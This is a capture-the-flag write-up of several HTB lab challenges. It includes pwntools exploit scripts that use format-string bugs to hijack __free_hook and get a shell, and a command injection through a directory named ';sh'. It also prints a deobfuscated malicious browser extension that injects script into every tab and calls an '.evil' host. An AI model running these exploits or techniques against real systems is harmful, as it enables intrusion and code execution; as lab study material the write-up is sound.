CTF Write-up [test]
Summary
Solved 3 pwn (including windows kernel exploitation), 3 crypto, 2 rev, 1 forensic.
pwn focused on FSB attack or ezpz kernel exploitation.
RSA, elgamel simple attack in crypto. and etc..
Tasks
- Pwnable💻
- Cryptography💡
- Reversing⚙️
- Forensic🔎
PWN : Payback
1. Analyze
mitigations are here:
[*] '/mnt/c/Users/bww96/Desktop/CTF_2022/htb_business/pwn/pwn_payback/challenge/payback'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./.glibc/'
I found that delete_bot
function has Format string bug when I send delete_reason.
int delete_bot()
{
unsigned int id;
id = getId(); // 0 ~ 31
if (botBuf[id].url != NULL)
{
char reasonbuf[MAX_REASON_SIZE];
memset(reasonbuf, '\x00', MAX_REASON_SIZE);
// gather statistics
printf("\n[*] Enter the reason of deletion: ");
read(STDIN_FILENO, &reasonbuf, MAX_REASON_SIZE - 1);
free(botBuf[id].url);
botBuf[id].url = NULL;
puts("\n[+] Bot Deleted successfully! | Reason: ");
printf(reasonbuf);
return 0;
}
puts("\n[!] Error: Unable to fetch the requested bot entry.\n");
}
reasonbuf
is in a stack area so I can check FSB attack offset with input buffer.
If I manage __free_hook
, I can call system("/bin/sh\x00")
when I call delete_bot
.
Setting bot’s URL to /bin/sh\x00
and calling free can trigger shell.
Let’s exploit!
2. Exploit Code
from pwn import *
# p=process("./payback")
p=remote("142.93.37.110",30669)
e=ELF("./payback")
l=ELF(".glibc/libc.so.6")
def add():
p.sendlineafter(">> ", str(1).encode())
p.sendlineafter(": ", "/bin/sh\x00")
p.sendlineafter(": ", "0")
def delete(id, fsb_pay):
p.sendlineafter(">> ", str(3))
p.sendlineafter(": ", str(id))
pause()
p.sendafter(": ", fsb_pay)
add()
delete(0, "%p")
# overwrite offset : 8
p.recvuntil("Reason: \n")
libc_base = int(p.recv(14),16) - 0x1ed723
free_hook = libc_base + l.sym['__free_hook']
system = libc_base + l.sym['system']
log.info(hex(libc_base))
log.info(hex(free_hook))
add()
low = system & 0xffff
mid = (system >> 16) & 0xffff
high = system >> 32
if mid > low:
rmid = mid-low
else:
rmid = 0x10000+mid-low
if high > mid:
rhigh = high-mid
else:
rhigh = 0x10000+high-mid
log.info(hex(low))
log.info(hex(mid))
log.info(hex(high))
payload = ''
payload += '%{}c'.format(low)
payload += '%13$hn'
payload += '%{}c'.format(rmid)
payload += '%14$hn'
payload += '%{}c'.format(rhigh)
payload += '%15$hn'
payload += 'A'
payload = payload.encode()
#print(len(payload))
payload += p64(free_hook)
payload += p64(free_hook + 2)
payload += p64(free_hook + 4)
delete(0, payload)
add()
delete(0, b"pwned")
p.interactive()
Flag is HTB{w3_sHoulD_1n1t1at3_a_bug_bounty_pr0gram}
.
PWN : Insider
1. Analyze
Binary run FTP cli program with 30 commands.
USER ;)
: compare with;)
string, if it’s correct, preparePASS
command.PASS ;)
: same withUSER
command, if password correct, I can use all of cmds.BKDR [payload]
: short expression ofbackdoor
I think, it can be attacked by FSB with limited condition.LIST
: get current working directory (CWD) by usinggetcwd()
function.
also runls -al [result of getcwd()]
withpopen
.
if process run successfully, result should be written in console.CWD [path]
: change working directory with my own path.MKDR [path]
: make directory with my own path.- .. etc
BKDR
command can leak stack area or overwrite stack area.
I found unchanged stack position that makes denied access to LIST
command.
(value : -1, LIST
NOT ALLOWED!)
at first, I used RETR
command to read /flag.txt
, but this file’s permission is only read in root
, r--------
.
Need to find another way..
v131
should be more than 0, so if I found right offset of v131
, can be overwritten by %[offset]$n
.
2. After Getting shell..?
MKDR ;sh
: make directory named;sh
. it’s legal expression in linux.CWD ;sh
: change working directory to/home/ctf/;sh
LIST
: callgetcwd()
=>/home/ctf/;sh
and combine string (result :ls -al /home/ctf/;sh
) !!!SHELL EXECUTED!!!- In the shell,
cd /home/ctf
=> I noticed thatget_flag
file’s RUNPATH is./
, so changing working directory to/home/ctf
is necessary. - In the shell,
./get_flag
=> Execute! - In the shell,
exit
=> for receiving results of entire commands.
(because commands is running inpopen
process)
3. Exploit Code
from pwn import *
#context.log_level = 'debug'
p = remote("104.248.175.153",30467)
#p = process('./chall')
def qwer(x, noRecv=False):
if not noRecv: p.recv()
p.send(x)
sleep(0.5)
qwer("USER ;)")
qwer("PASS ;)")
qwer("BKDR %p %p %p %p %p %p %p")
p.recvuntil("(nil) 0x")
leak = int(p.recv(12), 16) + 0x66c0
log.info(hex(leak))
pay = b'BKDR'
pay += b' %1035$n'
#pause()
pay = pay.ljust(0x28-3, b'b')
pay += p64(leak)
pay += b"ASDF"
qwer(pay)
#qwer("STOR .profile")
#qwer("alias ls='sh;ls'".ljust(0x1000, 'a') + 'LIST', True)
#p.shutdown('send')
qwer("MKDR ;sh")
qwer("CWD ;sh")
qwer("LIST")
p.sendline("cd /home/ctf")
p.sendline("./get_flag")
p.sendline("exit")
p.interactive()
Flag is HTB{Private_Key_H@McQfTjWnZr4u7x!A%D*G-KaNdRgUkX}
.
PWN : OpenDoor
! REDACTED !
Exploit Code : https://gist.github.com/bww9641/b55628e52157fd04beb25155c951beeb
CRYPTO : BBGun06
1. Analyze
BBGun06 / revenge has same verify(self,message, signature)
code:
def verify(self, message, signature):
keylength = len(long_to_bytes(self.n))
decrypted = self.encrypt(signature)
clearsig = decrypted.to_bytes(keylength, "big")
r = re.compile(b'\x00\x01\xff+?\x00(.{15})(.{20})', re.DOTALL)
m = r.match(clearsig)
if not m:
raise VerificationError('Verification failed')
if m.group(1) != self.asn1:
raise VerificationError('Verification failed')
if m.group(2) != sha1(message).digest():
raise VerificationError('Verification failed')
return True
And en/decrypt function changes signature code(byte) to long by using bytes_to_long
to calculate with integer.
Decrypted message is same when I give bytes string that has same integer result. That means, dec("0001") == dec("01")
.
It’s simple!
send given signature with 00
:D, 00 + sig
revenge prob has the same solving process lol:) See below.
2. Exploit (Manual)
// for_BBGun06
signature: 59b980d833bffec9b1fe51a5256e66cca1e56e92ade292148edbb9421b50ce877f8bb052bd6c0d011fc06b80db42425bc5ce757d393d63a99215088c03fb1623c7fc9efbfbefde2b86072b7f3e2f8d7bd9c32c1752c3360e8e578e447f7c9445da99a39365bebf80e7975c05db7a74e736359a334a52e55c60329a7584b666e756620775b88987b918bb3d278216686ed7e12dc6807aaaab4c70ba3802c31b925fccf3f52b0c890cd24d737416b7cbd7fab1da146b974be4905ddf18602f29dc5233110f1cb657853b5aa0c7bd65cbc3bf9244e92f1cb48d103c8e524eae0cc5c1b966a6ff23e21b226e0d24b298433c059935bdf5dfa8836864232b2b573b10
...
// for_BBGun06 revenge
Enter the signature as hex: 0059b980d833bffec9b1fe51a5256e66cca1e56e92ade292148edbb9421b50ce877f8bb052bd6c0d011fc06b80db42425bc5ce757d393d63a99215088c03fb1623c7fc9efbfbefde2b86072b7f3e2f8d7bd9c32c1752c3360e8e578e447f7c9445da99a39365bebf80e7975c05db7a74e736359a334a52e55c60329a7584b666e756620775b88987b918bb3d278216686ed7e12dc6807aaaab4c70ba3802c31b925fccf3f52b0c890cd24d737416b7cbd7fab1da146b974be4905ddf18602f29dc5233110f1cb657853b5aa0c7bd65cbc3bf9244e92f1cb48d103c8e524eae0cc5c1b966a6ff23e21b226e0d24b298433c059935bdf5dfa8836864232b2b573b10
HTB{8131ch3n84ch32'06_519n47u23_f02932y}
signature: 866753b3e8009d9a365d11b9d334be86178de27f697d1f2e849222c557776f9befecee7c8adde061f226a2260b441e8df47a1c854be940a6b7d88029f32614121b72e10efd3b10609d66bff26c459da939c89e28117a5f1c761d3805cac6564b090323cdf8399e632c48d3db48e1a0c774d4f14fb673bb02385fc74cafc8b6d3ff0c2ac9247ba62ebd27fc798aa1ca29d88d2ce8fd79d3c01975964385806e85138a5175092cdac710aab71d000c2e77bb9f15cfbe82ff2a20416ea32ea388c1c5a3d6a8570f74a4eafbf4f46dda39167ad8a93aecc345f24d5e8134b260ce2c75405804ab546576b5492fbb76cad9da56939a3653d92f4320d4fddaa698864f
...
Enter the signature as hex: 00866753b3e8009d9a365d11b9d334be86178de27f697d1f2e849222c557776f9befecee7c8adde061f226a2260b441e8df47a1c854be940a6b7d88029f32614121b72e10efd3b10609d66bff26c459da939c89e28117a5f1c761d3805cac6564b090323cdf8399e632c48d3db48e1a0c774d4f14fb673bb02385fc74cafc8b6d3ff0c2ac9247ba62ebd27fc798aa1ca29d88d2ce8fd79d3c01975964385806e85138a5175092cdac710aab71d000c2e77bb9f15cfbe82ff2a20416ea32ea388c1c5a3d6a8570f74a4eafbf4f46dda39167ad8a93aecc345f24d5e8134b260ce2c75405804ab546576b5492fbb76cad9da56939a3653d92f4320d4fddaa698864f
HTB{1t_w@s_5upp0s3d_to_b3_8131ch3n84ch32's}
CRYPTO : ElElGamal
I didn’t know about ElGamal in cryptography, so I searched a lot.
writing…
—
REV : BreakOut
1. FLAG Recovering
- Connect
URL:port/proc/self/maps
and see what prob should be the base program./bkd
is running! - Download
bkd
file in website. - Realize it’s web server made by C++.
- Find
secretGet
function and get flag.
2. Get FLAG
Flag is HTB{th3_pr0c_f5_15_4_p53ud0_f1l35y5t3m_wh1ch_pr0v1d35_4n_1nt3rf4c3.....}
.
REV : ChromeMiner
Fully obfuscated js Challenge.
1. Recover with hand
async function iF() {
if (!('injected' in document)) {
document['injected'] = true;
window['setInterval'](async () => {
y = new window['Uint8Array'](64);
window['crypto']['getRandomValues'](y);
if (new window['TextDecoder']('utf-8')['decode'](await window['crypto']['subtle']['digest']('sha-256', y))['endsWith']('chrome')) {
j = new window['Uint8Array'](y['byteLength'] + (await window['crypto']['subtle']['digest']('sha-256', y))['byteLength']);
j['set'](new window['Uint8Array'](y), 0);
j['set'](new window['Uint8Array'](await window['crypto']['subtle']['digest']('sha-256', y)), y['byteLength']);
window['fetch']('hxxps://qwertzuiop123.evil/' +
[...new window['Uint8Array'](await window['crypto']['subtle']['encrypt']({['name']: 'AES-CBC', ['iv']: new window['TextEncoder']('utf-8')['encode']('_NOT_THE_SECRET_')}, await window['crypto']['subtle']['importKey']('raw', await window['crypto']['subtle']['decrypt']({['name']: 'AES-CBC', ['iv']: new window['TextEncoder']('utf-8')['encode']('_NOT_THE_SECRET_')}, await window['crypto']['subtle']['importKey']('raw', new window['TextEncoder']('utf-8')['encode']('_NOT_THE_SECRET_'), {['name']: 'AES-CBC'}, true, ['decrypt']), new window['Uint8Array'](('E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8')['match'](/../g)['map'](h => window['parseInt'](h, 16)))), {['name']: 'AES-CBC'}, true, ['encrypt']), j))]['map'](x => x['toString'](16)['padStart'](2, "0"))['join'](""));
}
}, 1);
}
}
;
chrome['tabs']['onUpdated']['addListener']((tabVar, changeInfo, tab) => {
if ('url' in tab && tab['url'] != null && (tab['url']['startsWith']('https://') || tab['url']['startsWith']('http://'))) {
chrome['scripting']['executeScript']({['target']: {['tabId']: tab['id']}, function: iF});
}
});
2. Decrypt with AES-256
>>> from Crypto.Cipher import AES
>>> AES.new(b'_NOT_THE_SECRET_',AES.MODE_CBC,b'_NOT_THE_SECRET_')
<Crypto.Cipher.AES.AESCipher object at 0x7fae19feb790>
>>> cipher = AES.new(b'_NOT_THE_SECRET_',AES.MODE_CBC,b'_NOT_THE_SECRET_')
>>> cipher.decrypt(b'\xe2B\xe6Ba\xd2\x19i\xf6[\xed\xf9T\x90\n\x99R\t\t\x9f\xb6\xc3\xc6\x82\xc0\xd9\xc4\xb2u\xb1\xc2\x12\xbc\x18\x8e\x08\x82\xb6\xber\xc7I!\x12A\x18\x7f\xa8')
b'HTB{__mY_vRy_owN_CHR0me_M1N3R__}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
FOR : Lina’s Invitation
writing….